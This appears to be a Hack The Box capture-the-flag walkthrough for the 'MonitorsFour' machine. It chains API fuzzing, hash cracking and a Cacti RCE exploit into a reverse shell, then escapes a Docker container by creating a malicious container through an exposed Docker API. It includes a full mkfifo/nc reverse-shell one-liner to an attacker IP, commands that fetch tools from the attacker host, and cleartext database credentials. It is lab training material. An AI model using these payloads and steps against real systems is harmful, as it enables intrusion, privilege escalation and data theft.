sudo vim /etc/hosts
# add monitorsfour.htb
nmap -T4 -p- -A -Pn -v monitorsfour.htb-
open ports & services:
- 80/tcp - http - nginx
- 5985/tcp - http - Microsoft HTTPAPI httpd 2.0
-
the webpage is for a networking solution; the footer of the webpage provides an email id 'sales@monitorsfour.htb'
-
there is a login page at '/login', and it has a 'forgot password' option at '/forgot-password', which sends the reset instructions to an email id
-
checking the source code of the login page, we can see the form uses a POST call to an API endpoint at '/api/v1/auth'
-
similarly, the source code of the forgot password page shows a POST call to an API endpoint '/api/v1/reset' is used
-
so we can fuzz for any other API endpoints provided by the webapp if needed
-
web scan:
gobuster dir -u http://monitorsfour.htb -w /usr/share/wordlists/dirb/common.txt -x txt,php,html,bak,jpg,zip,bac,sh,png,md,jpeg,pl,ps1,aspx,js,json,docx,pdf,cgi,sql,xml,tar,gz,db -t 25 # dir scan ffuf -c -u 'http://monitorsfour.htb' -H 'Host: FUZZ.monitorsfour.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 25 -fs 138 -s # subdomain scan
-
gobusterprovides a few additional pages:-
/contact - this page gives a warning for file not found and discloses the paths
/var/www/app/views/contact.php&/var/www/app/Router.php, which is unusual as this is detected to be a Windows machine - so a possible container could be running the webapp -
/controllers - this page is 403 Forbidden
-
/static - 403 Forbidden
-
/user - this gives an error -
{"error":"Missing token parameter"}- this looks like an API endpoint response -
/views - this gives the bare view of the homepage
-
-
also, subdomain scan using
ffufgives us an additional subdomain 'cacti.monitorsfour.htb' - update this entry in/etc/hosts -
visiting this subdomain leads to 'http://cacti.monitorsfour.htb/cacti/', a login page for Cacti software, version 1.2.28
-
Googling for vulns associated with Cacti 1.2.28 leads to CVE-2025-24367 - an authenticated graph template RCE exploit
-
as this is an authenticated exploit, we need creds to proceed; attempting default creds like 'admin:admin' and 'cacti:cacti' do not work
-
we can check the '/user' endpoint on the main domain from earlier and attempt to fuzz it:
curl 'http://monitorsfour.htb/user' # {"error":"Missing token parameter"} curl 'http://monitorsfour.htb/user?token=test' # {"error":"Invalid or missing token"}
-
using 'token' parameter gives a different error, so we can attempt fuzzing now; we do not know what kind of value the 'token' parameter is expecting so we can fuzz with different types of wordlists:
ffuf -w /usr/share/seclists/Fuzzing/UnixAttacks.fuzzdb.txt -u 'http://monitorsfour.htb/user?token=FUZZ' -fs 36 -s # this gives responses for '0' and '00' curl 'http://monitorsfour.htb/user?token=0' # this gives API response with creds # generate a wordlist for negative numbers and positive numbers for i in $(seq -100 100); do echo $i >> tokens.txt; done # test with numbers wordlist for fuzzing ffuf -w tokens.txt -u 'http://monitorsfour.htb/user?token=FUZZ' -fs 36 -s # this also gives response only when 'token=0'
-
checking the fuzzing attempts using
ffuf, we get a response from the page only when the token value is set to 0, and the JSON response includes employee details for four employees -- admin - Marcus Higgins
- mwatson - Michael Watson
- janderson - Jennifer Anderson
- dthompson - David Thompson
-
the JSON response also includes MD5 hashes for each user - we can attempt to crack it:
vim md5hashes.txt hashcat -a 0 -m 0 md5hashes.txt /usr/share/wordlists/rockyou.txt --force
-
hashcatcracks the hash for 'admin' user to give plaintext 'wonderful1' -
we can attempt to use the creds 'admin:wonderful1' in the Cacti login page, but this does not work
-
however, if we attempt to use 'marcus' as a username (as it is the name of the admin user) with the password 'wonderful1', it works, and we are able to access the Cacti console page
-
we can now attempt the exploit for CVE-2025-24367:
nc -nvlp 4444 # setup listener sudo python3 exploit.py -u marcus -p wonderful1 -i 10.10.14.27 -l 4444 -url http://cacti.monitorsfour.htb # run with sudo as it uses port 80 to host HTTP server # this gives shell
-
in reverse shell:
id # www-data which python which python3 # python and python3 not available which script # script is available # we can stabilise shell using script instead /usr/bin/script -qc /bin/bash /dev/null # Ctrl+Z to background shell stty raw -echo; fg # press Enter twice export TERM=xterm stty cols 132 rows 34 pwd # /var/www/html/cacti ls -la /var/www/ # enumerate web files ls -la /var/www/app # check webapp files cat /var/www/app/.env # includes MariaDB creds ss -ltnp # this does not show MariaDB running on port 3306 ls -la / # includes '.dockerenv' cat /start.sh # starts PHP and nginx hostname # randomly generated hostname ip a s # shows internal IP 172.18.0.2/16 cat /etc/passwd # one user 'marcus' is found ls -la /home ls -la /home/marcus cat /home/marcus/user.txt # user flag su marcus # 'wonderful1' does not work
-
checking the '.env' file gives us the creds 'monitorsdbuser:f37p2j8f4t0r' for the DB 'monitorsfour_db' in MariaDB, running on default port 3306
-
however,
ss -ltnpshows that there is no service running on port 3306, however it mentions port 46479 listening on '127.0.0.11' and port 9000 open -
also, enumeration shows that we are in a Docker container with one more user 'marcus' on the box
-
it is possible that this user can be used to escalate our privileges to root on container and to break out of the container if needed
-
enumerate using
linpeas- fetch script from attacker:cd /tmp # wget is not on box, so using curl curl http://10.10.14.27:8000/linpeas.sh -o linpeas.sh chmod +x linpeas.sh ./linpeas.sh
-
findings from
linpeas:- Linux version 6.6.87.2-microsoft-standard-WSL2
/usr/bin/nsenterfound for containers- port 9000 is used for hosting the webapps, as seen from
/etc/nginx/sites-enabled/default - cacti config file at
/var/www/html/cacti/include/config.phpdiscloses MySQL DB creds 'cactidbuser:7pyrf6ly8qx4'
-
it is possible that the DB service is running on the main host, and not the Docker container, so we need to scan the other IP addresses in the network range 172.18.0.0/16 (as the Docker container is having IP 172.18.0.2/16) to check further
-
nmapis not found on the box, so we can fetch it from attacker and run it:curl http://10.10.14.27:8000/nmap -o nmap chmod +x nmap ls -la /etc/services # port-service file not found, we need this too curl http://10.10.14.27:8000/nmap-services -o nmap-services # copy of '/etc/services' ./nmap 172.18.0.0/24 # start by scanning smaller /24 subnet, as /16 will take time
-
the
nmapscan works, and we get a couple of hosts on the 172.18.0.0/24 network:- 172.18.0.1 has 80/tcp (http), 111/tcp (sunrpc), and 3306/tcp (mysql) open
- 172.18.0.3 (mariadb.docker_setup_default) has 3306/tcp (mysql) open
-
we can now connect to the DB host with the DB creds found earlier to check for any secrets:
mysql -u monitorsdbuser -pf37p2j8f4t0r -h 172.18.0.3 -e "show databases;" # this includes a non-default DB 'monitorsfour_db' mysql -u monitorsdbuser -pf37p2j8f4t0r -h 172.18.0.3 -D monitorsfour_db -e "show tables;" # shows multiple tables # we can check the 'users' table mysql -u monitorsdbuser -pf37p2j8f4t0r -h 172.18.0.3 -D monitorsfour_db -e "select * from users;" # this is the same data as seen earlier from the '/user' endpoint # we can attempt to connect to the 'cacti' DB instead using the config creds mysql -u cactidbuser -p7pyrf6ly8qx4 -h 172.18.0.3 -e "show databases;" # this shows 'cacti' DB mysql -u cactidbuser -p7pyrf6ly8qx4 -h 172.18.0.3 -D cacti -e "show tables;" # this too shows multiple tables # cacti stores creds in 'user_auth' table mysql -u cactidbuser -p7pyrf6ly8qx4 -h 172.18.0.3 -D cacti -e "select * from user_auth;" # this gives hashes for 'admin' & 'marcus'
-
the MySQL 'cacti' DB on 172.18.0.3 gives us the hashes for 'admin' & 'marcus' - we can attempt to crack these bcrypt hashes:
vim hashes.txt hashcat -a 0 -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt --force
-
this cracks 'marcus' hash to 'wonderful1' which is already known, but cannot crack the 'admin' hash
-
we can also attempt to connect as 'marcus' to the main host via
evil-winrm, since the WinRM port 5985 is open, but this does not work, so it is possible that we may have to login as another user -
at this point, we can check with manual enumeration for any clues, followed by any ways to breakout of the Docker container:
sudo -l # sudo not found which docker # docker not found history grep --color=auto -rnwiIe "PASSW\|PASSWD\|PASSWORD\|PWD" --exclude-dir={proc,sys,dev,run,tmp} / 2>/dev/null # check for any cleartext passwords # check network config ip addr cat /etc/hosts cat /etc/resolv.conf # this mentions an IP 192.168.65.7
-
the
/etc/resolv.conffile mentions an IP address '192.168.65.7' - it is commented out, but we can check if it is accessible using a quick scan:./nmap -p- 192.168.65.7
-
the
nmapscan shows that ports 53, 2375, 3128 & 5555 are open -
out of these ports, port 2375 is of interest as it is the default unencrypted port for the Docker daemon or the Docker Engine API
-
checking from another walkthrough, I found that an alternative way to find this info was to check for the hostname
host.docker.internal- a hostname that resolves to the host, within the container:curl -v http://host.docker.internal:2375/version # this attempted to access 192.168.65.254 # which gave a new internal network to check for
-
we can continue to check '192.168.65.7' further by enumerating Docker engine:
curl -v http://192.168.65.7:2375/version # check docker version info curl -v http://192.168.65.7:2375/containers/json # list all containers # includes containers for webapp, mariadb curl -v http://192.168.65.7:2375/images/json # list all images curl -v http://192.168.65.7:2375/networks # network info curl -v http://192.168.65.7:2375/volumes # volume info # we can alternatively run this commands via 'docker' # but this needs the 'docker' binary and an exposed docker socket
-
listing the Docker images shows 2 images - 'docker_setup-nginx-php' and 'alpine'
-
as we have access to the Docker API, we can check for ways to abuse the API access
-
Googling for Docker API exploits leads to multiple blogs such as this one - we are able to create the container but this payload does not work (it did not work because the payload given was for Linux and not for Windows, we need to mount the C drive)
-
Google also shows CVE-2025-9074, a container escape vulnerability, for which the payloads given in these exploits work:
-
we can use the payload for reference and create a malicious container using any of the two images, and execute a reverse shell one-liner for RCE on the actual host:
# on attacker nc -nvlp 5555 # setup listener for reverse shell
cat <<EOF > test.json { "Image": "alpine:latest", "Cmd": ["/bin/sh", "-c", "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.27 5555 >/tmp/f"], "HostConfig": { "Binds": ["/mnt/host/c:/host_root"] } } EOF # this creates the JSON file for container config # other reverse shell one-liners did not work and ended right after connection # and alpine does not have '/bin/bash' by default, so using '/bin/sh' curl -X POST -H "Content-Type: application/json" -d @test.json http://192.168.65.7:2375/containers/create # create the container # this returns a container ID, which needs to be used to start the container curl -X POST http://192.168.65.7:2375/containers/366b9137f2b68081c9dfe814e6e6061cca04c120023279ca4c2c5e94fdf39883/start # start the container
# we get reverse shell on our listener id # root ls -la # we are in root directory of the host, and this has access to the Windows system ls -la /host_root # C drive of Windows filesystem cat /host_root/Users/Administrator/Desktop/root.txt # root flag